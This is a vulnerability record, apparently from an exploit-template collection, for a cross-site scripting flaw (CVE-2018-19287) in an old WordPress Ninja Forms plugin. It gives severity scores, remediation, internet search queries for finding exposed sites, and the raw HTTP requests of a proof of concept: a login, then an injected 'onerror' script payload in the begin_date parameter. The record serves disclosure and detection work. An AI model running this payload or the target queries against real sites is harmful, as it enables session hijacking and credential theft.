| Title | WordPress Ninja Forms <3.3.18 - Cross-Site Scripting |
|---|---|
| Author | theamanrawat |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. |
| Remediation | Upgrade to the latest version of the Ninja Forms plugin (3.3.18 or higher) to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.07673 |
| CVE ID | CVE-2018-19287 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:/wp-content/plugins/ninja-forms/ |
| Fofa Query | body=/wp-content/plugins/ninja-forms/ |
| Tags | cve cve2018 wp-plugin wp xss authenticated wpscan edb ninja-forms wordpress ninjaforma vuln |
WordPress Ninja Forms plugin before 3.3.18 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in includes/Admin/Menus/Submissions.php via the begin_date, end_date, or form_id parameters. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=6TL4x4&pwd=RK1JK9&wp-submit=Log+In
GET /wp-admin/edit.php?s&post_status=all&post_type=nf_sub&action=-1&form_id=1&nf_form_filter&begin_date="><img+src%3Dx+onerror%3Dalert%28document.domain%29%3B%2F%2F&end_date&filter_action=Filter&paged=1&action2=-1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-19287.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-19287.pcap
N/AN/A